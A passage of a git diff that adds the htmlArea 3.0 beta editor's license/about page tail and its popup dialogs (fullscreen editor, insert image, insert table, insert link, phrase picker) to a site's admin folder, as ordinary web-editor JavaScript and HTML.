+<h1>htmlArea License (based on BSD license)</h1>
+
+<p style="text-align: center">© 2002-2004, interactivetools.com, inc.<br />
+  © 2003-2004 dynarch.com LLC<br />
+  All rights reserved.</p>
+
+<p>
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+</p>
+
+<ol>
+<li>
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+</li>
+
+<li>
+Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+</li>
+
+<li>
+Neither the name of interactivetools.com, inc. nor the names of its
+contributors may be used to endorse or promote products derived from this
+software without specific prior written permission.
+</li>
+</ol>
+
+<p>
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+</p>
+
+</div>
+
+<div id="tab-area-3">
+<h1>Plugins</h1>
+<div id="plugins">
+</div>
+</div>
+
+</div></div>
+
+
+</tr></td>
+<tr style="height: 1em"><td id="tdfooter">
+
+
+<div class="buttons">
+<div id="tabbar"
+><div class="tab tab-current"
+>About</div><div class="tab"
+>Thanks</div><div class="tab"
+>License</div><div class="tab"
+>Plugins</div></div>
+<button type="button" onclick="__dlg_close(null);">I agree it's cool</button>
+</div>
+
+</td></tr></table>
+
+</body></html>
+
+<%ARGS>
+  $version => '3.0'
+  $release => 'beta+'
+  $basename => 'HTMLArea-3.0-beta'
+</%ARGS>
+
+<%INIT>;
+if ($release =~ /\S/) {
+    $release = ' <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. '.$release.' ]</span>';
+}
+
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y %H:%M GMT', gmtime;
+</%INIT>
diff --git a/admin/htmlarea/popups/blank.html b/admin/htmlarea/popups/blank.html
new file mode 100755 (executable)
index 0000000..766e2b0
--- /dev/null
@@ -0,0 +1,2 @@
+<html>\r\r
+</html>
\ No newline at end of file
diff --git a/admin/htmlarea/popups/custom2.html b/admin/htmlarea/popups/custom2.html
new file mode 100755 (executable)
index 0000000..e78ec33
--- /dev/null
@@ -0,0 +1,35 @@
+<html style="width:300px; Height: 60px;">\r\r
+ <head>\r\r
+  <title>Select Phrase</title>\r\r
+<script language="javascript">\r\r
+\r\r
+var myTitle = window.dialogArguments;\r\r
+document.title = myTitle;\r\r
+\r\r
+\r\r
+function returnSelected() {\r\r
+  var idx  = document.all.textPulldown.selectedIndex;\r\r
+  var text = document.all.textPulldown[idx].text;\r\r
+\r\r
+  window.returnValue = text;          // set return value\r\r
+  window.close();                     // close dialog\r\r
+}\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>\r\r
+\r\r
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">\r\r
+<div align=center>\r\r
+\r\r
+<select name="textPulldown">\r\r
+<option>The quick brown</option>\r\r
+<option>fox jumps over</option>\r\r
+<option>the lazy dog.</option>\r\r
+</select>\r\r
+\r\r
+<input type="button" value=" Go " onClick="returnSelected()">\r\r
+\r\r
+</div>\r\r
+</form>\r\r
+</body></html>
\ No newline at end of file
diff --git a/admin/htmlarea/popups/editor_help.html b/admin/htmlarea/popups/editor_help.html
new file mode 100755 (executable)
index 0000000..4a173a1
--- /dev/null
@@ -0,0 +1,16 @@
+<html>\r\r
+ <head>\r\r
+  <title>Editor Help</title>\r\r
+  <style>\r\r
+    body, td, p, div { font-family: arial; font-size: x-small; }\r\r
+  </style>\r\r
+ </head>\r\r
+<body>\r\r
+\r\r
+<h2>Editor Help<hr></h2>\r\r
+\r\r
+Todo...\r\r
+\r\r
+\r\r
+</body>\r\r
+</html>
\ No newline at end of file
diff --git a/admin/htmlarea/popups/fullscreen.html b/admin/htmlarea/popups/fullscreen.html
new file mode 100755 (executable)
index 0000000..a996b9c
--- /dev/null
@@ -0,0 +1,133 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">\r\r
+<html>\r\r
+  <head>\r\r
+    <title>Fullscreen HTMLArea</title>\r\r
+    <script type="text/javascript">\r\r
+      _editor_url = window.opener._editor_url;\r\r
+      _editor_lang = window.opener._editor_lang;\r\r
+      var BASE = window.opener.document.baseURI || window.opener.document.URL;\r\r
+      var head = document.getElementsByTagName("head")[0];\r\r
+      var base = document.createElement("base");\r\r
+      base.href = BASE;\r\r
+      head.appendChild(base);\r\r
+    </script>\r\r
+\r\r
+    <script type="text/javascript" src="../htmlarea.js"></script>\r\r
+\r\r
+    <script type="text/javascript">\r\r
+       // load HTMLArea scripts that are present in the opener frame\r\r
+       var scripts = window.opener.HTMLArea._scripts;\r\r
+       for (var i = 4; i < scripts.length; ++i) {\r\r
+           document.write("<scr" + "ipt type='text/javascript' src='" + scripts[i] + "'></scr" + "ipt>");\r\r
+        }\r\r
+    </script>\r\r
+\r\r
+    <!-- browser takes a coffee break here -->\r\r
+    <script type="text/javascript">\r\r
+var parent_object  = null;\r\r
+var editor        = null;      // to be initialized later [ function init() ]\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+   Function    : \r\r
+   Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc(ev) {\r\r
+       ev || (ev = window.event);\r\r
+       if (ev.keyCode == 27) {\r\r
+               // update_parent();\r\r
+               window.close();\r\r
+               return;\r\r
+       }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+   Function    : resize_editor\r\r
+   Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() {  // resize editor to fix window\r\r
+       var newHeight;\r\r
+       if (document.all) {\r\r
+               // IE\r\r
+               newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;\r\r
+               if (newHeight < 0) { newHeight = 0; }\r\r
+       } else {\r\r
+               // Gecko\r\r
+               newHeight = window.innerHeight - editor._toolbar.offsetHeight;\r\r
+       }\r\r
+       if (editor.config.statusBar) {\r\r
+               newHeight -= editor._statusBar.offsetHeight;\r\r
+       }\r\r
+       editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+   Function    : init\r\r
+   Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+       parent_object      = opener.HTMLArea._object;\r\r
+       var config         = HTMLArea.cloneObject( parent_object.config );\r\r
+       config.width       = "100%";\r\r
+       config.height      = "auto";\r\r
+\r\r
+       // change maximize button to minimize button\r\r
+       config.btnList["popupeditor"] = [ 'Minimize Editor', _editor_url + 'images/fullscreen_minimize.gif', true,\r\r
+                                         function() { window.close(); } ];\r\r
+\r\r
+       // generate editor and resize it\r\r
+       editor = new HTMLArea("editor", config);\r\r
+\r\r
+       // register the plugins, if any\r\r
+       for (var i in parent_object.plugins) {\r\r
+               var plugin = parent_object.plugins[i];\r\r
+               editor.registerPlugin2(plugin.name, plugin.args);\r\r
+       }\r\r
+       // and restore the original toolbar\r\r
+        config.toolbar = parent_object.config.toolbar;\r\r
+       editor.generate();\r\r
+       editor._iframe.style.width = "100%";\r\r
+       editor._textArea.style.width = "100%";\r\r
+       resize_editor();\r\r
+\r\r
+       editor.doctype = parent_object.doctype;\r\r
+\r\r
+       // set child window contents and event handlers, after a small delay\r\r
+       setTimeout(function() {\r\r
+                          editor.setHTML(parent_object.getInnerHTML());\r\r
+\r\r
+                          // switch mode if needed\r\r
+                          if (parent_object._mode == "textmode") { editor.setMode("textmode"); }\r\r
+\r\r
+                          // continuously update parent editor window\r\r
+                          setInterval(update_parent, 500);\r\r
+\r\r
+                          // setup event handlers\r\r
+                          document.body.onkeypress = _CloseOnEsc;\r\r
+                          editor._doc.body.onkeypress = _CloseOnEsc;\r\r
+                          editor._textArea.onkeypress = _CloseOnEsc;\r\r
+                          window.onresize = resize_editor;\r\r
+                  }, 333);                      // give it some time to meet the new frame\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+   Function    : update_parent\r\r
+   Description : update parent window editor field with contents from child window\r\r
+   \* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+       // use the fast version\r\r
+       parent_object.setHTML(editor.getInnerHTML());\r\r
+}\r\r
+\r\r
+    </script>\r\r
+    <style type="text/css"> html, body { height: 100%; margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+  </head>\r\r
+  <body scroll="no" onload="setTimeout(function(){init();}, 500)" onunload="update_parent()">\r\r
+    <form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">\r\r
+      <textarea name="editor" id="editor" style="width:100%; height:300px">&nbsp;</textarea>\r\r
+    </form>\r\r
+  </body>\r\r
+</html>\r\r
diff --git a/admin/htmlarea/popups/insert_image.html b/admin/htmlarea/popups/insert_image.html
new file mode 100755 (executable)
index 0000000..cef3adb
--- /dev/null
@@ -0,0 +1,191 @@
+<html>\r\r
+\r\r
+<head>\r\r
+  <title>Insert Image</title>\r\r
+\r\r
+<script type="text/javascript" src="popup.js"></script>\r\r
+\r\r
+<script type="text/javascript">\r\r
+\r\r
+window.resizeTo(400, 100);\r\r
+\r\r
+function Init() {\r\r
+  __dlg_init();\r\r
+  var param = window.dialogArguments;\r\r
+  if (param) {\r\r
+      document.getElementById("f_url").value = param["f_url"];\r\r
+      document.getElementById("f_alt").value = param["f_alt"];\r\r
+      document.getElementById("f_border").value = param["f_border"];\r\r
+      document.getElementById("f_align").value = param["f_align"];\r\r
+      document.getElementById("f_vert").value = param["f_vert"];\r\r
+      document.getElementById("f_horiz").value = param["f_horiz"];\r\r
+      window.ipreview.location.replace(param.f_url);\r\r
+  }\r\r
+  document.getElementById("f_url").focus();\r\r
+};\r\r
+\r\r
+function onOK() {\r\r
+  var required = {\r\r
+    "f_url": "You must enter the URL"\r\r
+  };\r\r
+  for (var i in required) {\r\r
+    var el = document.getElementById(i);\r\r
+    if (!el.value) {\r\r
+      alert(required[i]);\r\r
+      el.focus();\r\r
+      return false;\r\r
+    }\r\r
+  }\r\r
+  // pass data back to the calling window\r\r
+  var fields = ["f_url", "f_alt", "f_align", "f_border",\r\r
+                "f_horiz", "f_vert"];\r\r
+  var param = new Object();\r\r
+  for (var i in fields) {\r\r
+    var id = fields[i];\r\r
+    var el = document.getElementById(id);\r\r
+    param[id] = el.value;\r\r
+  }\r\r
+  __dlg_close(param);\r\r
+  return false;\r\r
+};\r\r
+\r\r
+function onCancel() {\r\r
+  __dlg_close(null);\r\r
+  return false;\r\r
+};\r\r
+\r\r
+function onPreview() {\r\r
+  var f_url = document.getElementById("f_url");\r\r
+  var url = f_url.value;\r\r
+  if (!url) {\r\r
+    alert("You have to enter an URL first");\r\r
+    f_url.focus();\r\r
+    return false;\r\r
+  }\r\r
+  window.ipreview.location.replace(url);\r\r
+  return false;\r\r
+};\r\r
+</script>\r\r
+\r\r
+<style type="text/css">\r\r
+html, body {\r\r
+  background: ButtonFace;\r\r
+  color: ButtonText;\r\r
+  font: 11px Tahoma,Verdana,sans-serif;\r\r
+  margin: 0px;\r\r
+  padding: 0px;\r\r
+}\r\r
+body { padding: 5px; }\r\r
+table {\r\r
+  font: 11px Tahoma,Verdana,sans-serif;\r\r
+}\r\r
+form p {\r\r
+  margin-top: 5px;\r\r
+  margin-bottom: 5px;\r\r
+}\r\r
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }\r\r
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }\r\r
+fieldset { padding: 0px 10px 5px 5px; }\r\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r\r
+button { width: 70px; }\r\r
+.space { padding: 2px; }\r\r
+\r\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r\r
+}\r\r
+form { padding: 0px; margin: 0px; }\r\r
+</style>\r\r
+\r\r
+</head>\r\r
+\r\r
+<body onload="Init()">\r\r
+\r\r
+<div class="title">Insert Image</div>\r\r
+<!--- new stuff --->\r\r
+<form action="" method="get">\r\r
+<table border="0" width="100%" style="padding: 0px; margin: 0px">\r\r
+  <tbody>\r\r
+\r\r
+  <tr>\r\r
+    <td style="width: 7em; text-align: right">Image URL:</td>\r\r
+    <td><input type="text" name="url" id="f_url" style="width:75%"\r\r
+      title="Enter the image URL here" />\r\r
+      <button name="preview" onclick="return onPreview();"\r\r
+      title="Preview the image in a new window">Preview</button>\r\r
+    </td>\r\r
+  </tr>\r\r
+  <tr>\r\r
+    <td style="width: 7em; text-align: right">Alternate text:</td>\r\r
+    <td><input type="text" name="alt" id="f_alt" style="width:100%"\r\r
+      title="For browsers that don't support images" /></td>\r\r
+  </tr>\r\r
+\r\r
+  </tbody>\r\r
+</table>\r\r
+\r\r
+<p />\r\r
+\r\r
+<fieldset style="float: left; margin-left: 5px;">\r\r
+<legend>Layout</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fl">Alignment:</div>\r\r
+<select size="1" name="align" id="f_align"\r\r
+  title="Positioning of this image">\r\r
+  <option value=""                             >Not set</option>\r\r
+  <option value="left"                         >Left</option>\r\r
+  <option value="right"                        >Right</option>\r\r
+  <option value="texttop"                      >Texttop</option>\r\r
+  <option value="absmiddle"                    >Absmiddle</option>\r\r
+  <option value="baseline" selected="1"        >Baseline</option>\r\r
+  <option value="absbottom"                    >Absbottom</option>\r\r
+  <option value="bottom"                       >Bottom</option>\r\r
+  <option value="middle"                       >Middle</option>\r\r
+  <option value="top"                          >Top</option>\r\r
+</select>\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fl">Border thickness:</div>\r\r
+<input type="text" name="border" id="f_border" size="5"\r\r
+title="Leave empty for no border" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+\r\r
+<fieldset style="float:right; margin-right: 5px;">\r\r
+<legend>Spacing</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fr">Horizontal:</div>\r\r
+<input type="text" name="horiz" id="f_horiz" size="5"\r\r
+title="Horizontal padding" />\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fr">Vertical:</div>\r\r
+<input type="text" name="vert" id="f_vert" size="5"\r\r
+title="Vertical padding" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+<br clear="all" />\r\r
+<table width="100%" style="margin-bottom: 0.2em">\r\r
+ <tr>\r\r
+  <td valign="bottom">\r\r
+    Image Preview:<br />\r\r
+    <iframe name="ipreview" id="ipreview" frameborder="0" style="border : 1px solid gray;" height="200" width="300" src=""></iframe>\r\r
+  </td>\r\r
+  <td valign="bottom" style="text-align: right">\r\r
+    <button type="button" name="ok" onclick="return onOK();">OK</button><br>\r\r
+    <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r\r
+  </td>\r\r
+ </tr>\r\r
+</table>\r\r
+</form>\r\r
+</body>\r\r
+</html>\r\r
diff --git a/admin/htmlarea/popups/insert_table.html b/admin/htmlarea/popups/insert_table.html
new file mode 100755 (executable)
index 0000000..49cf3f0
--- /dev/null
@@ -0,0 +1,174 @@
+<html>
+
+<head>
+  <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(400, 250);
+
+function Init() {
+  __dlg_init();
+  document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+  var required = {
+    "f_rows": "You must enter a number of rows",
+    "f_cols": "You must enter a number of columns"
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+  var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+                "f_align", "f_border", "f_spacing", "f_padding"];
+  var param = new Object();
+  for (var i in fields) {
+    var id = fields[i];
+    var el = document.getElementById(id);
+    param[id] = el.value;
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  __dlg_close(null);
+  return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+  margin-top: 5px;
+  margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+  <tbody>
+
+  <tr>
+    <td style="width: 4em; text-align: right">Rows:</td>
+    <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+    <td></td>
+    <td></td>
+    <td></td>
+  </tr>
+  <tr>
+    <td style="width: 4em; text-align: right">Cols:</td>
+    <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+    <td style="width: 4em; text-align: right">Width:</td>
+    <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+    <td><select size="1" name="unit" id="f_unit" title="Width unit">
+      <option value="%" selected="1"  >Percent</option>
+      <option value="px"              >Pixels</option>
+      <option value="em"              >Em</option>
+    </select></td>
+  </tr>
+
+  </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+  title="Positioning of this image">
+  <option value="" selected="1"                >Not set</option>
+  <option value="left"                         >Left</option>
+  <option value="right"                        >Right</option>
+  <option value="texttop"                      >Texttop</option>
+  <option value="absmiddle"                    >Absmiddle</option>
+  <option value="baseline"                     >Baseline</option>
+  <option value="absbottom"                    >Absbottom</option>
+  <option value="bottom"                       >Bottom</option>
+  <option value="middle"                       >Middle</option>
+  <option value="top"                          >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; border-top: 1px solid #999; padding: 2px; text-align: right;">
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/popups/link.html b/admin/htmlarea/popups/link.html
new file mode 100755 (executable)
index 0000000..1a87171
--- /dev/null
@@ -0,0 +1,142 @@
+<html>\r
+\r
+<head>\r
+  <title>Insert/Modify Link</title>\r
+  <script type="text/javascript" src="popup.js"></script>\r
+  <script type="text/javascript">\r
+    window.resizeTo(400, 200);\r
+\r
+I18N = window.opener.HTMLArea.I18N.dialogs;\r
+\r
+function i18n(str) {\r
+  return (I18N[str] || str);\r
+};\r
+\r
+function onTargetChanged() {\r
+  var f = document.getElementById("f_other_target");\r
+  if (this.value == "_other") {\r
+    f.style.visibility = "visible";\r
+    f.select();\r
+    f.focus();\r
+  } else f.style.visibility = "hidden";\r
+};\r
+\r
+function Init() {\r
+  __dlg_translate(I18N);\r
+  __dlg_init();\r
+  var param = window.dialogArguments;\r
+  var target_select = document.getElementById("f_target");\r
+  if (param) {\r
+      document.getElementById("f_href").value = param["f_href"];\r
+      document.getElementById("f_title").value = param["f_title"];\r
+      comboSelectValue(target_select, param["f_target"]);\r
+      if (target_select.value != param.f_target) {\r
+        var opt = document.createElement("option");\r
+        opt.value = param.f_target;\r
+        opt.innerHTML = opt.value;\r
+        target_select.appendChild(opt);\r
+        opt.selected = true;\r
+      }\r
+  }\r
+  var opt = document.createElement("option");\r
+  opt.value = "_other";\r
+  opt.innerHTML = i18n("Other");\r
+  target_select.appendChild(opt);\r
+  target_select.onchange = onTargetChanged;\r
+  document.getElementById("f_href").focus();\r
+  document.getElementById("f_href").select();\r
+};\r
+\r
+function onOK() {\r
+  var required = {\r
+    // f_href shouldn't be required or otherwise removing the link by entering an empty\r\r
+    // url isn't possible anymore.\r\r
+    // "f_href": i18n("You must enter the URL where this link points to")\r\r
+  };\r
+  for (var i in required) {\r
+    var el = document.getElementById(i);\r
+    if (!el.value) {\r
+      alert(required[i]);\r
+      el.focus();\r
+      return false;\r
+    }\r
+  }\r
+  // pass data back to the calling window\r
+  var fields = ["f_href", "f_title", "f_target" ];\r
+  var param = new Object();\r
+  for (var i in fields) {\r
+    var id = fields[i];\r
+    var el = document.getElementById(id);\r
+    param[id] = el.value;\r
+  }\r
+  if (param.f_target == "_other")\r
+    param.f_target = document.getElementById("f_other_target").value;\r
+  __dlg_close(param);\r
+  return false;\r
+};\r
+\r
+function onCancel() {\r
+  __dlg_close(null);\r
+  return false;\r
+};\r
+\r
+</script>\r
+\r
+<style type="text/css">\r
+html, body {\r
+  background: ButtonFace;\r
+  color: ButtonText;\r
+  font: 11px Tahoma,Verdana,sans-serif;\r
+  margin: 0px;\r
+  padding: 0px;\r
+}\r
+body { padding: 5px; }\r
+table {\r
+  font: 11px Tahoma,Verdana,sans-serif;\r
+}\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r
+button { width: 70px; }\r
+table .label { text-align: right; width: 8em; }\r
+\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r
+}\r
+\r
+#buttons {\r
+      margin-top: 1em; border-top: 1px solid #999;\r
+      padding: 2px; text-align: right;\r
+}\r
+</style>\r
+\r
+</head>\r
+\r
+<body onload="Init()">\r
+<div class="title">Insert/Modify Link</div>\r
+\r
+<table border="0" style="width: 100%;">\r
+  <tr>\r
+    <td class="label">URL:</td>\r
+    <td><input type="text" id="f_href" style="width: 100%" /></td>\r
+  </tr>\r
+  <tr>\r
+    <td class="label">Title (tooltip):</td>\r
+    <td><input type="text" id="f_title" style="width: 100%" /></td>\r
+  </tr>\r
+  <tr>\r
+    <td class="label">Target:</td>\r
+    <td><select id="f_target">\r
+      <option value="">None</option>\r
+      <option value="_blank">New window (_blank)</option>\r
+    </select>\r
+    <input type="text" name="f_other_target" id="f_other_target" size="10" style="visibility: hidden" />\r
+    </td>\r
+  </tr>\r
+</table>\r
+\r
+<div id="buttons">\r
+  <button type="button" name="ok" onclick="return onOK();">OK</button>\r
+  <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r
+</div>\r
+\r
+</body>\r
+</html>\r
diff --git a/admin/htmlarea/popups/makefile.xml b/admin/htmlarea/popups/makefile.xml
new file mode 100755 (executable)
index 0000000..106730e
--- /dev/null
@@ -0,0 +1,4 @@
+<files>
+  <file name="*.{js,html}" />
+  <file name="about.html" masonize="yes" args="version,release,basename" />
+</files>
diff --git a/admin/htmlarea/popups/old-fullscreen.html b/admin/htmlarea/popups/old-fullscreen.html
new file mode 100755 (executable)
index 0000000..6ecfb8e
--- /dev/null
@@ -0,0 +1,131 @@
+<html>\r\r
+<head><title>Fullscreen Editor</title>\r\r
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+\r\r
+<script>\r\r
+\r\r
+// if we pass the "window" object as a argument and then set opener to\r\r
+// equal that we can refer to dialogWindows and popupWindows the same way\r\r
+if (window.dialogArguments) { opener = window.dialogArguments; }\r\r
+\r\r
+var _editor_url = "../";\r\r
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');\r\r
+\r\r
+var parent_objname = location.search.substring(1,location.search.length);  // parent editor objname\r\r
+var parent_config  = opener.document.all[parent_objname].config;\r\r
+\r\r
+var config         = cloneObject( parent_config );\r\r
+var objname        = 'editor'; // name of this editor\r\r
+\r\r
+//  DOMViewerObj = config;\r\r
+//  DOMViewerName = 'config';\r\r
+//  window.open('/innerHTML/domviewer.htm');  \r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+  Function    : \r\r
+  Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+  if (event.keyCode == 27) {\r\r
+    update_parent();\r\r
+    window.close();\r\r
+    return;\r\r
+  }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+  Function    : cloneObject\r\r
+  Description : copy an object by value instead of by reference\r\r
+  Usage       : var newObj = cloneObject(oldObj);\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function cloneObject(obj) {\r\r
+  var newObj          = new Object; \r\r
+\r\r
+  // check for array objects\r\r
+  if (obj.constructor.toString().indexOf('function Array(') == 1) {\r\r
+    newObj = obj.constructor();\r\r
+  }\r\r
+\r\r
+  for (var n in obj) {\r\r
+    var node = obj[n];\r\r
+    if (typeof node == 'object') { newObj[n] = cloneObject(node); }\r\r
+    else                         { newObj[n] = node; }\r\r
+  }\r\r
+  \r\r
+  return newObj;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+  Function    : resize_editor\r\r
+  Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() {  // resize editor to fix window\r\r
+  var editor = document.all['_editor_editor'];\r\r
+\r\r
+  newWidth  = document.body.offsetWidth;\r\r
+  newHeight = document.body.offsetHeight - editor.offsetTop;\r\r
+\r\r
+  if (newWidth < 0) { newWidth = 0; }\r\r
+  if (newHeight < 0) { newHeight = 0; }\r\r
+\r\r
+  editor.style.width  = newWidth;\r\r
+  editor.style.height = newHeight;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+  Function    : init\r\r
+  Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+  // change maximize button to minimize button\r\r
+  config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor',  'update_parent(); window.close();', 'fullscreen_minimize.gif'];\r\r
+\r\r
+  // set htmlmode button to refer to THIS editor\r\r
+  config.btnList["htmlmode"]    = ['HtmlMode',    'View HTML Source', 'editor_setmode(\'editor\')',  'ed_html.gif'];\r\r
+\r\r
+  // change image url to be relative to current path\r\r
+  config.imgURL = "../images/";\r\r
+  \r\r
+  // generate editor and resize it\r\r
+  editor_generate('editor', config);\r\r
+  resize_editor();\r\r
+\r\r
+  // switch mode if needed\r\r
+  if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }\r\r
+\r\r
+  // set child window contents\r\r
+  var parentHTML = opener.editor_getHTML(parent_objname);\r\r
+  editor_setHTML(objname, parentHTML);\r\r
+\r\r
+  // continuously update parent editor window\r\r
+  window.setInterval(update_parent, 333);\r\r
+\r\r
+  // setup event handlers\r\r
+  document.body.onkeypress = _CloseOnEsc;\r\r
+  window.onresize = resize_editor;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+  Function    : update_parent\r\r
+  Description : update parent window editor field with contents from child window\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+  var childHTML = editor_getHTML(objname);\r\r
+  opener.editor_setHTML(parent_objname, childHTML);\r\r
+}\r\r
+\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body scroll="no" onload="init()" onunload="update_parent()">\r\r
+\r\r
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>\r\r
+\r\r
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>\r\r
+\r\r
+</body></html>
\ No newline at end of file
